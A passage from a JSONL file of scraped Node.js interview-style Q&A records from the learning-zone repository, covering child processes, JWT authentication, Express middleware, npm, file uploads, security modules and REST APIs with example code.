require('express');\n\nconst app1 = express();\nconst app2 = express();\n\n// Parse the request body as JSON\napp1.use(body.json());\napp2.use(body.json());\n\nconst handler = serverNum => (req, res) => {\n  console.log(`server ${serverNum}`, req.method, req.url, req.body);\n  res.send(`Hello from server ${serverNum}!`);\n};\n\n// Only handle GET and POST requests\napp1.get('*', handler(1)).post('*', handler(1));\napp2.get('*', handler(2)).post('*', handler(2));\n\napp1.listen(3000);\napp2.listen(3001);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207436"}
{"id": "gh_eea2f7665cd1", "question": "How to: Q. What is difference between `spawn()` and `fork()` methods in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. spawn():**\n\nIn Node.js, spawn() launches a new process with the available set of commands. This doesn\\'t generate a new V8 instance only a single copy of the node module is active on the processor. It is used when we want the child process to return a large amount of data back to the parent process.\n\nWhen spawn is called, it creates a **streaming interface** between the parent and child process. Streaming Interface — one-time buffering of data in a binary format.\n\n**Example:**\n\n```js\n/**\n * The spawn() method\n */\nconst { spawn } = require(\"child_process\");\nconst child = spawn(\"dir\", [\"D:\\\\empty\"], { shell: true });\n\nchild.stdout.on(\"data\", (data) => {\n  console.log(`stdout ${data}`);\n});\n```\n\nOutput\n\n```js\nstdout  Volume in drive D is Windows\n Volume Serial Number is 76EA-3749\n\nstdout\n Directory of D:\\\n```\n\n**2. fork():**\n\nThe **fork()** is a particular case of **spawn()** which generates a new V8 engines instance. Through this method, multiple workers run on a single node code base for multiple tasks. It is used to separate computation-intensive tasks from the main event loop.\n\nWhen fork is called, it creates a **communication channel** between the parent and child process Communication Channel — messaging\n\n**Example:**\n\n```js\n/**\n * The fork() method\n */\nconst { fork } = require(\"child_process\");\n\nconst forked = fork(\"child.js\");\n\nforked.on(\"message\", (msg) => {\n  console.log(\"Message from child\", msg);\n});\n\nforked.send({ message: \"fork() method\" });\n```\n\n```js\n/**\n * child.js\n */\nprocess.on(\"message\", (msg) => {\n  console.log(\"Message from parent:\", msg);\n});\n\nlet counter = 0;\n\nsetInterval(() => {\n  process.send({ counter: counter++ });\n}, 1000);\n```\n\nOutput:\n\n```js\nMessage from parent: { message: 'fork() method' }\nMessage from child { counter: 0 }\nMessage from child { counter: 1 }\nMessage from child { counter: 2 }\n...\n...\nMessage from child { counter: n }\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207450"}
{"id": "gh_852009380ad4", "question": "How to: Q. What is daemon process?", "question_body": "About learning-zone/nodejs-basics", "answer": "A daemon is a program that runs in background and has no controlling terminal. They are often used to provide background services. For example, a web-server or a database server can run as a daemon.\n\nWhen a daemon process is initialized:\n\n* It creates a child of itself and proceeds to shut down all standard descriptors (error, input, and output) from this particular copy.\n* It closes the parent process when the user closes the session/terminal window.\n* Leaves the child process running as a daemon.\n\n**Daemonize Node.js process:**\n\n* [Forever](https://github.com/foreversd/forever)\n* [PM2](https://github.com/Unitech/pm2)\n* [Nodemon](https://github.com/remy/nodemon/)\n* [Supervisor](https://github.com/Supervisor/supervisor)\n* [Docker](https://github.com/docker)\n\n**Example:** Using an instance of Forever from Node.js\n\n```js\nconst forever = require(\"forever\");\n\nconst child = new forever.Forever(\"your-filename.js\", {\n  max: 3,\n  silent: true,\n  args: [],\n});\n\nchild.on(\"exit\", this.callback);\nchild.start();\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207459"}
{"id": "gh_3bf008d84de5", "question": "How to: Q. How to use JSON Web Token (JWT) for authentication in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "JSON Web Token (JWT) is an open standard that defines a compact and self-contained way of securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.\n\nThere are some advantages of using JWT for authorization:\n\n* Purely stateless. No additional server or infra required to store session information.\n* It can be easily shared among services.\n\n**Syntax:**\n\n```js\njwt.sign(payload, secretOrPrivateKey, [options, callback])\n```\n\n* **Header** - Consists of two parts: the type of token (i.e., JWT) and the signing algorithm (i.e., HS512)\n* **Payload** - Contains the claims that provide information about a user who has been authenticated along with other information such as token expiration time.\n* **Signature** - Final part of a token that wraps in the encoded header and payload, along with the algorithm and a secret\n\n**Installation:**\n\n```js\nnpm install jsonwebtoken bcryptjs --save\n```\n\n**Example**:\n\n```js\n/**\n * AuthController.js\n */\nconst express = require('express');\nconst router = express.Router();\nconst bodyParser = require('body-parser');\nconst User = require('../user/User');\n\nconst jwt = require('jsonwebtoken');\nconst bcrypt = require('bcryptjs');\nconst config = require('../config');\n\nrouter.use(bodyParser.urlencoded({ extended: false }));\nrouter.use(bodyParser.json());\n\nrouter.post('/register', function(req, res) {\n  \n  let hashedPassword = bcrypt.hashSync(req.body.password, 8);\n  \n  User.create({\n    name : req.body.name,\n    email : req.body.email,\n    password : hashedPassword\n  },\n  function (err, user) {\n    if (err) return res.status(500).send(\"There was a problem registering the user.\")\n    // create a token\n    let token = jwt.sign({ id: user._id }, config.secret, {\n      expiresIn: 86400 // expires in 24 hours\n    });\n    res.status(200).send({ auth: true, token: token });\n  });\n});\n```\n\n**config.js:**\n\n```js\n/**\n * config.js\n */\nmodule.exports = {\n  'secret': 'supersecret'\n};\n```\n\nThe `jwt.sign()` method takes a payload and the secret key defined in `config.js` as parameters. It creates a unique string of characters representing the payload. In our case, the payload is an object containing only the id of the user.\n\n**Reference:**\n\n* *[https://www.npmjs.com/package/jsonwebtoken](https://www.npmjs.com/package/jsonwebtoken)*\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207473"}
{"id": "gh_93d9dd9350fc", "question": "How to: Q. How to build a microservices architecture with Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Microservices are a style of **Service Oriented Architecture (SOA)** where the app is structured on an assembly of interconnected services. With microservices, the application architecture is built with lightweight protocols. The services are finely seeded in the architecture. Microservices disintegrate the app into smaller services and enable improved modularity.\nThere are few things worth emphasizing about the superiority of microservices, and distributed systems generally, over monolithic architecture:\n\n* **Modularity** — responsibility for specific operations is assigned to separate pieces of the application\n* **Uniformity** — microservices interfaces (API endpoints) consist of a base URI identifying a data object and standard HTTP methods (GET, POST, PUT, PATCH and DELETE) used to manipulate the object\n* **Robustness** — component failures cause only the absence or reduction of a specific unit of functionality\n* **Maintainability** — system components can be modified and deployed independently\n* **Scalability** — instances of a service can be added or removed to respond to changes in demand.\n* **Availability** — new features can be added to the system while maintaining 100% availability.\n* **Testability** — new solutions can be tested directly in the production environment by implementing them for  restricted segments of users to see how they behave in real life.\n\n**Example:** Creating Microservices with Node.js\n\n**Step 01:** Creating a Server to Accept Requests\n\nThis file is creating our server and assigns routes to process all requests.\n\n```js\n//  server.js\n\nconst express = require('express')\nconst app = express();\nconst port = process.env.PORT || 3000;\n\nconst routes = require('./api/routes');\nroutes(app);\napp.listen(port, function() {\n   console.log('Server started on port: ' + port);\n});\n```\n\n**Step 02:** Defining the routes\n\nThe next step is to define the routes for the microservices and then assign each to a target in the controller. We have two endpoints. One endpoint called \"about\" that returns information about the application. And a \"distance\" endpoint that includes two path parameters, both Zip Codes of the Lego store. This endpoint returns the distance, in miles, between these two Zip Codes.\n\n```js\nconst controller = require('./controller');\n\nmodule.exports = function(app) {\n   app.route('/about')\n       .get(controller.about);\n   app.route('/distance/:zipcode1/:zipcode2')\n       .get(controller.getDistance);\n};\n```\n\n**Step 03:** Adding Controller Logic\n\nWithin the controller file, we are going to create a controller object with two properties. Those properties are the functions to handle the requests we defined in the routes module.\n\n```js\nconst properties = require('../package.json')\nconst distance = require('../service/distance');\n\nconst controllers = {\n   about: function(req, res) {\n       let aboutInfo = {\n           name: properties.name,\n           version: properties.version\n       }\n       res.json(aboutInfo);\n   },\n   getDistance: function(req, res) {\n           distance.find(req, res, function(err, dist) {\n               if (err)\n                   res.send(err);\n               res.json(dist);\n           });\n       },\n};\n\nmodule.exports = controllers;\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207488"}
{"id": "gh_e377882249bd", "question": "How to: Q. What are the middleware functions in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Middleware functions are functions that have access to the **request object (req)**, the **response object (res)**, and the `next` function in the application\\'s request-response cycle.\n\nMiddleware functions can perform the following tasks:\n\n* Execute any code.\n* Make changes to the request and the response objects.\n* End the request-response cycle.\n* Call the next middleware in the stack.\n\nIf the current middleware function does not end the request-response cycle, it must call `next()` to pass control to the next middleware function. Otherwise, the request will be left hanging.\n\nThe following figure shows the elements of a middleware function call:\nMiddleware functions that return a Promise will call `next(value)` when they reject or throw an error. `next` will be called with either the rejected value or the thrown Error.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207507"}
{"id": "gh_6218b2303178", "question": "How to: Q. Explain the use of next in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The **next** is a function in the Express router which executes the middleware succeeding the current middleware.\n\n**Example:**\n\nTo load the middleware function, call `app.use()`, specifying the middleware function. For example, the following code loads the **myLogger** middleware function before the route to the root path (/).\n\n```js\n/**\n * myLogger\n */\nconst express = require(\"express\");\nconst app = express();\n\nconst myLogger = function (req, res, next) {\n  console.log(\"LOGGED\");\n  next();\n};\n\napp.use(myLogger);\n\napp.get(\"/\", (req, res) => {\n  res.send(\"Hello World!\");\n});\n\napp.listen(3000);\n```\n\n**⚝ [Try this example on CodeSandbox](https://codesandbox.io/s/next-function-nq042s)**\n\n*Note: The `next()` function is not a part of the Node.js or Express API, but is the third argument that is passed to the middleware function. The `next()` function could be named anything, but by convention it is always named “next”. To avoid confusion, always use this convention.*\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207514"}
{"id": "gh_8be9c9a47d37", "question": "How to: Q. Why to use Express.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Express.js is a Node.js web application framework that provides broad features for building web and mobile applications. It is used to build a single page, multipage, and hybrid web application.\n\n**Features of Express.js:**\n\n* **Fast Server-Side Development:** The features of node js help express saving a lot of time.\n* **Middleware:** Middleware is a request handler that has access to the application\\'s request-response cycle.\n* **Routing:** It refers to how an application\\'s endpoint\\'s URLs respond to client requests.\n* **Templating:** It provides templating engines to build dynamic content on the web pages by creating HTML templates on the server.\n* **Debugging:** Express makes it easier as it identifies the exact part where bugs are.\n\nThe Express.js framework makes it very easy to develop an application which can be used to handle multiple types of requests like the GET, PUT, and POST and DELETE requests.\n\n**Example:**\n\n```js\n/**\n * Simple server using Express.js\n */\nconst express = require(\"express\");\nconst app = express();\n\napp.get(\"/\", function (req, res) {\n  res.send(\"Hello World!\");\n});\n\nconst server = app.listen(3000, function () {});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207523"}
{"id": "gh_d2a9b38b20e2", "question": "How to: Q. Why should you separate Express 'app' and 'server'?", "question_body": "About learning-zone/nodejs-basics", "answer": "Keeping the API declaration separated from the network related configuration (port, protocol, etc) allows testing the API in-process, without performing network calls, with all the benefits that it brings to the table: fast testing execution and getting coverage metrics of the code. It also allows deploying the same API under flexible and different network conditions.\n\nAPI declaration, should reside in app.js:\n\n```js\n/**\n * app.js\n */\nconst app = express();\n\napp.use(bodyParser.json());\napp.use(\"/api/events\", events.API);\napp.use(\"/api/forms\", forms);\n```\n\nServer network declaration\n\n```js\n/**\n * server.js\n */\nconst app = require('../app');\nconst http = require('http');\n\n// Get port from environment and store in Express.\nconst port = normalizePort(process.env.PORT || '3000');\napp.set('port', port);\n\n// Create HTTP server.\nconst server = http.createServer(app);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207531"}
{"id": "gh_8ff0227987d7", "question": "How to: Q. What are some of the most popular packages of Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "| Package  | Description                                      |\n|----------|--------------------------------------------------|\n|async     | Async is a utility module which provides straight-forward, powerful functions for working with asynchronous JavaScript|\n|axios     |Axios is a promise-based HTTP Client for node.js and the browser.|\n|autocannon|AutoCannon is a tool for performance testing and a tool for benchmarking.|\n|browserify|Browserify will recursively analyze all the require() calls in your app in order to build a bundle you can serve up to the browser in a single `", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207544"}
{"id": "gh_320e9b701ab3", "question": "How to: Q. How can you make sure your dependencies are safe?", "question_body": "About learning-zone/nodejs-basics", "answer": "The only option is to automate the update / security audit of your dependencies. For that there are free and paid options:\n\n1. npm outdated\n2. Trace by RisingStack\n3. NSP\n4. GreenKeeper\n5. Snyk\n6. npm audit\n7. npm audit fix\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207550"}
{"id": "gh_97c0acbb5087", "question": "How to: Q. What are the security mechanisms available in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Helmet module:**\n\n[Helmet](https://www.npmjs.com/package/helmet) helps to secure your Express applications by setting various HTTP headers, like:\n\n* X-Frame-Options to mitigates clickjacking attacks,\n* Strict-Transport-Security to keep your users on HTTPS,\n* X-XSS-Protection to prevent reflected XSS attacks,\n* X-DNS-Prefetch-Control to disable browsers DNS prefetching.\n\n```js\n/**\n * Helmet\n */\nconst express = require('express')\nconst helmet = require('helmet')\nconst app = express()\n\napp.use(helmet())\n```\n\n**2. JOI module:**\n\nValidating user input is one of the most important things to do when it comes to the security of your application. Failing to do it correctly can open up your application and users to a wide range of attacks, including command injection, SQL injection or stored cross-site scripting.\n\nTo validate user input, one of the best libraries you can pick is joi. [Joi](https://www.npmjs.com/package/joi) is an object schema description language and validator for JavaScript objects.\n\n```js\n/**\n * Joi\n */\nconst Joi = require('joi');\n\nconst schema = Joi.object().keys({\n    username: Joi.string().alphanum().min(3).max(30).required(),\n    password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\n    access_token: [Joi.string(), Joi.number()],\n    birthyear: Joi.number().integer().min(1900).max(2013),\n    email: Joi.string().email()\n}).with('username', 'birthyear').without('password', 'access_token')\n\n// Return result\nconst result = Joi.validate({\n    username: 'abc',\n    birthyear: 1994\n}, schema)\n// result.error === null -> valid\n```\n\n**3. Regular Expressions:**\n\nRegular Expressions are a great way to manipulate texts and get the parts that you need from them. However, there is an attack vector called Regular Expression Denial of Service attack, which exposes the fact that most Regular Expression implementations may reach extreme situations for specially crafted input, that cause them to work extremely slowly.\n\nThe Regular Expressions that can do such a thing are commonly referred as Evil Regexes. These expressions contain:\n*grouping with repetition,\n*inside the repeated group:\n    *repetition, or\n    *alternation with overlapping  \n\nExamples of Evil Regular Expressions patterns:\n\n```js\n(a+)+\n([a-zA-Z]+)*\n(a|aa)+\n```\n\n**4. Security.txt:**\n\nSecurity.txt defines a standard to help organizations define the process for security researchers to securely disclose security vulnerabilities.\n\n```js\nconst express = require('express')\nconst securityTxt = require('express-security.txt')\n\nconst app = express()\n\napp.get('/security.txt', securityTxt({\n  // your security address\n  contact: 'email@example.com',\n  // your pgp key\n  encryption: 'encryption',\n  // if you have a hall of fame for securty resourcers, include the link here\n  acknowledgements: 'http://acknowledgements.example.com'\n}))\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207566"}
{"id": "gh_bdd846f7f049", "question": "How to: Q. What is npm in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "NPM stands for Node Package Manager. It provides following two main functionalities.\n\n* It works as an Online repository for node.js packages/modules which are present at\n.\n* It works as Command line utility to install packages, do version management and dependency management of Node.js packages.\nNPM comes bundled along with Node.js installable. We can verify its version using the following command-\n\n```js\nnpm --version\n```\n\nNPM helps to install any Node.js module using the following command.\n\n```js\nnpm install\n```\n\nFor example, following is the command to install a famous Node.js web framework module called express-\n\n```js\nnpm install express\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207573"}
{"id": "gh_da90e79644ae", "question": "How to: Q. Why npm shrinkwrap is useful?", "question_body": "About learning-zone/nodejs-basics", "answer": "NPM shrinkwrap lets you lock down the ver­sions of installed pack­ages and their descen­dant pack­ages. It helps you use same package versions on all environments (development, staging, production) and also improve download and installation speed.\n\nAfter installing packages using npm install or npm install `\n` and updating your **node_modules** folder, you should run\n\n```js\nnpm shrinkwrap\n```\n\nIt should create new **npm-shrinkwrap.json** file with information about all packages you use. Next time, when someone calls **npm install**, it will install packages from **npm-shrinkwrap.json** and you will have the same environment on all machines.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207580"}
{"id": "gh_8603d233c23f", "question": "How to: Q. How to handle file upload in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "File can be uploaded to the server using Multer module. Multer is a Node.js middleware which is used for handling multipart/form-data, which is mostly used library for uploading files.\n\n**1. Installing the dependencies:**\n\n```js\nnpm install express body-parser multer --save\n```\n\n**2. server.js:**\n\n```js\n/**\n * File Upload in Node.js\n */\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst multer = require(\"multer\");\nconst app = express();\n\n// for text/number data transfer between clientg and server\napp.use(bodyParser());\n\nconst storage = multer.diskStorage({\n  destination: function (req, file, callback) {\n    callback(null, \"./uploads\");\n  },\n  filename: function (req, file, callback) {\n    callback(null, file.fieldname + \"-\" + Date.now());\n  },\n});\n\nconst upload = multer({ storage: storage }).single(\"userPhoto\");\n\napp.get(\"/\", function (req, res) {\n  res.sendFile(__dirname + \"/index.html\");\n});\n\n// POST: upload for single file upload\napp.post(\"/api/photo\", function (req, res) {\n  upload(req, res, function (err) {\n    if (err) {\n      return res.end(\"Error uploading file.\");\n    }\n    res.end(\"File is uploaded\");\n  });\n});\n\napp.listen(3000, function () {\n  console.log(\"Listening on port 3000\");\n});\n```\n\n**3. index.html:**\n\n```html\nMulter-File-Upload\nMULTER File Upload | Single File Upload\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207592"}
{"id": "gh_0b36b04f70b9", "question": "How to: Q. Explain the terms body-parser, cookie-parser, morgan, nodemon, pm2, serve-favicon, cors, dotenv, fs-extra, moment in Express.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. body-parser:**\n\n`body-parser` extract the entire body portion of an incoming request stream and exposes it on `req.body`. The body-parser module parses the JSON, buffer, string and URL encoded data submitted using HTTP POST request.\n\n**Example:**\n\n```js\nnpm install body-parser\n```\n\n```js\n/**\n * body-parser\n */\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\n\nconst app = express();\n\n// create application/json parser\nconst jsonParser = bodyParser.json();\n\n// create application/x-www-form-urlencoded parser\nconst urlencodedParser = bodyParser.urlencoded({ extended: false });\n\n// POST /login gets urlencoded bodies\napp.post(\"/login\", urlencodedParser, function (req, res) {\n  res.send(\"welcome, \" + req.body.username);\n});\n\n// POST /api/users gets JSON bodies\napp.post(\"/api/users\", jsonParser, function (req, res) {\n  // create user in req.body\n});\n```\n\n**2. cookie-parser:**\n\nA cookie is a piece of data that is sent to the client-side with a request and is stored on the client-side itself by the Web Browser the user is currently using.\n\nThe `cookie-parser` middleware\\'s cookieParser function takes a `secret` string or array of strings as the first argument and an `options` object as the second argument.\n\n**Installation:**\n\n```js\nnpm install cookie-parser\n```\n\n**Example:**\n\n```js\n/**\n * cookie-parser\n */\nconst express = require('express')\nconst cookieParser = require('cookie-parser')\n\nconst app = express()\napp.use(cookieParser())\n\napp.get('/', function (req, res) {\n  // Cookies that have not been signed\n  console.log('Cookies: ', req.cookies)\n\n  // Cookies that have been signed\n  console.log('Signed Cookies: ', req.signedCookies)\n})\n\napp.listen(3000)\n```\n\n**3. morgan:**\n\nHTTP request logger middleware for node.js.\n\n**Installation:**\n\n```js\nnpm install morgan\n```\n\n**Example:**\n\n```js\n/**\n * Writing logs to a file\n */\nconst express = require('express')\nconst fs = require('fs')\nconst morgan = require('morgan')\nconst path = require('path')\n\nconst app = express()\n\n// create a write stream (in append mode)\nconst accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log'), { flags: 'a' })\n\n// setup the logger\napp.use(morgan('combined', { stream: accessLogStream }))\n\napp.get('/', function (req, res) {\n  res.send('hello, world!')\n})\n```\n\n**4. nodemon:**\n\nNodemon is a utility that will monitor for any changes in source and automatically restart your server.\n\n**Installation:**\n\n```js\nnpm install -g nodemon\n```\n\n**Example:**\n\n```js\n{\n  // ...\n  \"scripts\": {\n    \"start\": \"nodemon server.js\"\n  },\n  // ...\n}\n```\n\n**5. pm2:**\n\n**P**(rocess) **M**(anager) **2** (pm2) is a production process manager for Node.js applications with a built-in load balancer. It allows to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.\n\n**Installation:**\n\n```js\nnpm install pm2 -g\n```\n\n**Start an application:**\n\n```js\npm2 start app.js\n```\n\n**Reference:**\n\n* *[https://pm2.keymetrics.io/docs/usage/quick-start/](https://pm2.keymetrics.io/docs/usage/quick-start/)*\n\n**6. serve-favicon:**\n\nNode.js middleware for serving a favicon. It create new middleware to serve a favicon from the given path to a favicon file. **path** may also be a Buffer of the icon to serve.\n\n**Installation:**\n\n```js\nnpm install serve-favicon\n```\n\n**Example:**\n\n```js\n/**\n * serve-favicon\n */\nconst express = require('express')\nconst favicon = require('serve-favicon')\nconst path = require('path')\n\nconst app = express()\napp.use(favicon(path.join(__dirname, 'public', 'favicon.ico')))\n\n// Add your routes here, etc.\n\napp.listen(3000)\n```\n\n**7. cors:**\n\n**C**ross-**O**rigin **R**esource **S**haring (CORS) headers allow apps running in the browser to make requests to servers on different domains (also known as origins). CORS headers are set on the server side - the HTTP server is responsible for indicating that a given HTTP request can be cross-origin.\n\n**Installation:**\n\n```js\nnpm install cors\n```\n\n**Example:**\n\n```js\n/**\n * Enable CORS for a Single Route\n */\nconst express = require('express')\nconst cors = require('cors')\nconst app = express()\n\napp.get('/products/:id', cors(), function (req, res, next) {\n  res.json({msg: 'This is CORS-enabled for a Single Route'})\n})\n\napp.listen(8080, function () {\n  console.log('CORS-enabled web server listening on port 80')\n})\n```\n\n**8. dotenv:**\n\nWhen a NodeJs application runs, it injects a global variable called `process.env` which contains information about the state of environment in which the application is running. The `dotenv` loads environment variables stored in the `.env` file into `process.env`.\n\n**Installation:**\n\n```js\nnpm install dotenv\n```\n\n**Usage:**\n\n```js\n// .env\n\nDB_HOST=localhost\nDB_USER=admin\nDB_PASS=root\n```\n\n```js\n/**\n * config.js\n */\nconst db = require('db')\n\ndb.connect({\n  host: process.env.DB_HOST,\n  username: process.env.DB_USER,\n  password: process.env.DB_PASS\n})\n```\n\n**9. fs-extra:**\n\n`fs-extra` contains methods that aren\\'t", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207640"}
{"id": "gh_341dea5257d4", "question": "How to: Q. Explain RESTful Web Services in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "REST stands for REpresentational State Transfer. REST is web standards based architecture and uses HTTP Protocol.\nIt is an architectural style as well as an approach for communications purposes that is often used in various web services development. A REST Server simply provides access to resources and REST client accesses and modifies the resources using HTTP protocol.\n\n**HTTP methods:**\n\n* `GET` − Provides read-only access to a resource.\n* `PUT` − Updates an existing resource or creates a new resource.\n* `DELETE` − Removes a resource.\n* `POST` − Creates a new resource.\n* `PATCH`− Update/modify a resource\n\n**Example:** users.json\n\n```json\n{\n   \"user1\" : {\n      \"id\": 1,\n      \"name\" : \"Ehsan Philip\",\n      \"age\" : 24\n   },\n\n   \"user2\" : {\n      \"id\": 2,\n      \"name\" : \"Karim Jimenez\",\n      \"age\" : 22\n   },\n\n   \"user3\" : {\n      \"id\": 3,\n      \"name\" : \"Giacomo Weir\",\n      \"age\" : 18\n   }\n}\n```\n\n**List Users** ( `GET` method)\n\nLet\\'s implement our first RESTful API listUsers using the following code in a server.js file −\n\n```js\nconst express = require('express');\nconst app = express();\nconst fs = require(\"fs\");\n\napp.get('/listUsers', function (req, res) {\n   fs.readFile( __dirname + \"/\" + \"users.json\", 'utf8', function (err, data) {\n      console.log( data );\n      res.end( data );\n   });\n})\n\nconst server = app.listen(3000, function () {\n   const host = server.address().address\n   const port = server.address().port\n   console.log(\"App listening at http://%s:%s\", host, port)\n});\n```\n\n**Add User** ( `POST` method )\n\nFollowing API will show you how to add new user in the list. \n\n```js\nconst express = require('express');\nconst app = express();\nconst fs = require(\"fs\");\n\nconst user = {\n   \"user4\" : {\n      \"id\": 4,\n      \"name\" : \"Spencer Amos\",\n      \"age\" : 28\n   }\n}\n\napp.post('/addUser', function (req, res) {\n   // First read existing users.\n   fs.readFile( __dirname + \"/\" + \"users.json\", 'utf8', function (err, data) {\n      data = JSON.parse( data );\n      data[\"user4\"] = user[\"user4\"];\n      console.log( data );\n      res.end( JSON.stringify(data));\n   });\n})\n\nconst server = app.listen(3000, function () {\n   const host = server.address().address\n   const port = server.address().port\n   console.log(\"App listening at http://%s:%s\", host, port)\n})\n```\n\n**Delete User:**\n\n```js\nconst express = require('express');\nconst app = express();\nconst fs = require(\"fs\");\n\nconst id = 2;\n\napp.delete('/deleteUser', function (req, res) {\n   // First read existing users.\n   fs.readFile( __dirname + \"/\" + \"users.json\", 'utf8', function (err, data) {\n      data = JSON.parse( data );\n      delete data[\"user\" + 2];\n      console.log( data );\n      res.end( JSON.stringify(data));\n   });\n})\n\nconst server = app.listen(3000, function () {\n   const host = server.address().address\n   const port = server.address().port\n   console.log(\"App listening at http://%s:%s\", host, port)\n})\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207660"}
{"id": "gh_fb580f021513", "question": "How to: Q. What is the difference between req.params and req.query?", "question_body": "About learning-zone/nodejs-basics", "answer": "The **req.params** are a part of a path in URL and they\\'re also known as URL variables. for example, if you have the route **/books/:id**, then the **id** property will be available as **req.params.id**. req.params default value is an empty object {}.\n\nA **req.query** is a part of a URL that assigns values to specified parameters. A query string commonly includes fields added to a base URL by a Web browser or other client application, for example as part of an HTML form. A query is the last part of URL\n\n**Example 01:** req.params\n\n```js\n/**\n * req.params\n */\n\n// GET  http://localhost:3000/employees/10\n\napp.get('/employees/:id', (req, res, next) => {\n   console.log(req.params.id); // 10\n})\n```\n\n**Example 02:** req.query\n\n```js\n/**\n * req.query\n */\n\n// GET  http://localhost:3000/employees?page=20\n\napp.get('/employees', (req, res, next) => {\n  console.log(req.query.page) // 20\n})\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207669"}
